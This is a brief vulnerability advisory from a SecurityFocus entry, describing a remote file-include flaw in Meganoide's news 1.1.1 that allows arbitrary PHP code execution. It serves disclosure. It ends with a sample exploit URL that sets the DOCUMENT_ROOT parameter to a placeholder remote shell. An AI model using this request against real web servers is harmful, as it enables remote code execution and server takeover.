source: https://www.securityfocus.com/bid/22589/info

Meganoide's news is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

This issue affects version 1.1.1; other versions may also be affected. 

http://www.example.com/path/include.php?_SERVER[DOCUMENT_ROOT]=[shell]